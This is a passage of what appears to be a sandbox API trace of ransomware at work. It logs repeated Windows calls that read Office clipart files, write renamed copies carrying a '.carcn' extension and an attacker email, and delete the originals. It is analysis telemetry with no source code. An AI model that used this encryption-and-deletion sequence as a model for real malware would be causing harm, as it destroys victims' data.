Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.138] lstrlenW (lpString=".doc") returned 4 [0264.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.138] lstrlenW (lpString=".docx") returned 5 [0264.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.139] lstrlenW (lpString=".pdf") returned 4 [0264.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.139] lstrlenW (lpString=".xls") returned 4 [0264.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.139] lstrlenW (lpString=".xlsx") returned 5 [0264.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.139] lstrlenW (lpString=".ppt") returned 4 [0264.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.139] lstrlenW (lpString=".zip") returned 4 [0264.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.139] lstrlenW (lpString=".rar") returned 4 [0264.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.139] lstrlenW (lpString=".bz2") returned 4 [0264.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.139] lstrlenW (lpString=".7z") returned 3 [0264.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.139] lstrlenW (lpString=".dbf") returned 4 [0264.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.139] lstrlenW (lpString=".1cd") returned 4 [0264.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.139] lstrlenW (lpString=".jpg") returned 4 [0264.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.139] lstrlenW (lpString=".doc") returned 4 [0264.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.139] lstrlenW (lpString=".docx") returned 5 [0264.139] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.139] lstrlenW (lpString=".pdf") returned 4 [0264.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.139] lstrlenW (lpString=".xls") returned 4 [0264.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.140] lstrlenW (lpString=".xlsx") returned 5 [0264.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.140] lstrlenW (lpString=".ppt") returned 4 [0264.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.140] lstrlenW (lpString=".zip") returned 4 [0264.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.140] lstrlenW (lpString=".rar") returned 4 [0264.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.140] lstrlenW (lpString=".bz2") returned 4 [0264.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.140] lstrlenW (lpString=".7z") returned 3 [0264.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.140] lstrlenW (lpString=".dbf") returned 4 [0264.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.140] lstrlenW (lpString=".1cd") returned 4 [0264.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0264.140] lstrlenW (lpString=".jpg") returned 4 [0264.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.140] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0264.140] lstrlenW (lpString="BD09031_.WMF") returned 12 [0264.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0264.142] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=47786) returned 1 [0264.142] CloseHandle (hObject=0x528) returned 1 [0264.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0264.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0264.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0264.142] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.142] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0264.143] GetLastError () returned 0x0 [0264.143] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xbaaa, lpOverlapped=0x0) returned 1 [0264.192] WriteFile (in: hFile=0x4bc, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xbab0, lpOverlapped=0x0) returned 1 [0264.608] ReadFile (in: hFile=0x528, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0264.613] WriteFile (in: hFile=0x4bc, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0264.613] SetEndOfFile (hFile=0x4bc) returned 1 [0264.614] CloseHandle (hObject=0x4bc) returned 1 [0264.622] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0264.622] SetEndOfFile (hFile=0x528) returned 1 [0264.631] CloseHandle (hObject=0x528) returned 1 [0264.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0264.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0264.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.633] lstrlenW (lpString=".doc") returned 4 [0264.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.633] lstrlenW (lpString=".docx") returned 5 [0264.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.633] lstrlenW (lpString=".pdf") returned 4 [0264.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.633] lstrlenW (lpString=".xls") returned 4 [0264.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.633] lstrlenW (lpString=".xlsx") returned 5 [0264.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.633] lstrlenW (lpString=".ppt") returned 4 [0264.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.633] lstrlenW (lpString=".zip") returned 4 [0264.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.634] lstrlenW (lpString=".rar") returned 4 [0264.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.634] lstrlenW (lpString=".bz2") returned 4 [0264.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.634] lstrlenW (lpString=".7z") returned 3 [0264.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.634] lstrlenW (lpString=".dbf") returned 4 [0264.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.634] lstrlenW (lpString=".1cd") returned 4 [0264.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.634] lstrlenW (lpString=".jpg") returned 4 [0264.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.634] lstrlenW (lpString=".doc") returned 4 [0264.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.634] lstrlenW (lpString=".docx") returned 5 [0264.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0264.634] lstrlenW (lpString=".pdf") returned 4 [0264.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.634] lstrlenW (lpString=".xls") returned 4 [0264.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.635] lstrlenW (lpString=".xlsx") returned 5 [0264.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0264.635] lstrlenW (lpString=".ppt") returned 4 [0264.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.635] lstrlenW (lpString=".zip") returned 4 [0264.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.635] lstrlenW (lpString=".rar") returned 4 [0264.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString=".bz2") returned 4 [0264.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString=".7z") returned 3 [0264.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.635] lstrlenW (lpString=".dbf") returned 4 [0264.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.635] lstrlenW (lpString=".1cd") returned 4 [0264.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68 [0264.635] lstrlenW (lpString=".jpg") returned 4 [0264.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.636] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0264.636] lstrlenW (lpString="BD09662_.WMF") returned 12 [0264.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0264.811] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=20554) returned 1 [0264.811] CloseHandle (hObject=0x55c) returned 1 [0264.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0264.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0264.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0265.086] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.086] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0265.087] GetLastError () returned 0x0 [0265.087] ReadFile (in: hFile=0x4bc, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x504a, lpOverlapped=0x0) returned 1 [0265.173] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5050, lpOverlapped=0x0) returned 1 [0265.175] ReadFile (in: hFile=0x4bc, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0265.175] WriteFile (in: hFile=0x554, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0265.175] SetEndOfFile (hFile=0x554) returned 1 [0265.177] CloseHandle (hObject=0x554) returned 1 [0265.183] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.183] SetEndOfFile (hFile=0x4bc) returned 1 [0265.189] CloseHandle (hObject=0x4bc) returned 1 [0265.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.193] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0265.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.194] lstrlenW (lpString=".doc") returned 4 [0265.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.194] lstrlenW (lpString=".docx") returned 5 [0265.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.194] lstrlenW (lpString=".pdf") returned 4 [0265.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.195] lstrlenW (lpString=".xls") returned 4 [0265.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.195] lstrlenW (lpString=".xlsx") returned 5 [0265.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.195] lstrlenW (lpString=".ppt") returned 4 [0265.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.195] lstrlenW (lpString=".zip") returned 4 [0265.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.195] lstrlenW (lpString=".rar") returned 4 [0265.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.195] lstrlenW (lpString=".bz2") returned 4 [0265.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.195] lstrlenW (lpString=".7z") returned 3 [0265.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.195] lstrlenW (lpString=".dbf") returned 4 [0265.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.195] lstrlenW (lpString=".1cd") returned 4 [0265.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.195] lstrlenW (lpString=".jpg") returned 4 [0265.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.196] lstrlenW (lpString=".doc") returned 4 [0265.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.196] lstrlenW (lpString=".docx") returned 5 [0265.196] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.196] lstrlenW (lpString=".pdf") returned 4 [0265.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.196] lstrlenW (lpString=".xls") returned 4 [0265.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.196] lstrlenW (lpString=".xlsx") returned 5 [0265.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.196] lstrlenW (lpString=".ppt") returned 4 [0265.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.196] lstrlenW (lpString=".zip") returned 4 [0265.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.196] lstrlenW (lpString=".rar") returned 4 [0265.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.196] lstrlenW (lpString=".bz2") returned 4 [0265.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.196] lstrlenW (lpString=".7z") returned 3 [0265.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.197] lstrlenW (lpString=".dbf") returned 4 [0265.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.197] lstrlenW (lpString=".1cd") returned 4 [0265.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0265.197] lstrlenW (lpString=".jpg") returned 4 [0265.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.197] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.197] lstrlenW (lpString="BD19986_.WMF") returned 12 [0265.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0265.201] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=14486) returned 1 [0265.201] CloseHandle (hObject=0x550) returned 1 [0265.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0265.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0265.202] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.202] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0265.204] GetLastError () returned 0x0 [0265.204] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x3896, lpOverlapped=0x0) returned 1 [0265.333] WriteFile (in: hFile=0x4bc, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x38a0, lpOverlapped=0x0) returned 1 [0265.552] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0265.552] WriteFile (in: hFile=0x4bc, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0265.552] SetEndOfFile (hFile=0x4bc) returned 1 [0265.673] CloseHandle (hObject=0x4bc) returned 1 [0265.675] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.675] SetEndOfFile (hFile=0x550) returned 1 [0265.754] CloseHandle (hObject=0x550) returned 1 [0265.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0265.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.755] lstrlenW (lpString=".doc") returned 4 [0265.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.755] lstrlenW (lpString=".docx") returned 5 [0265.755] 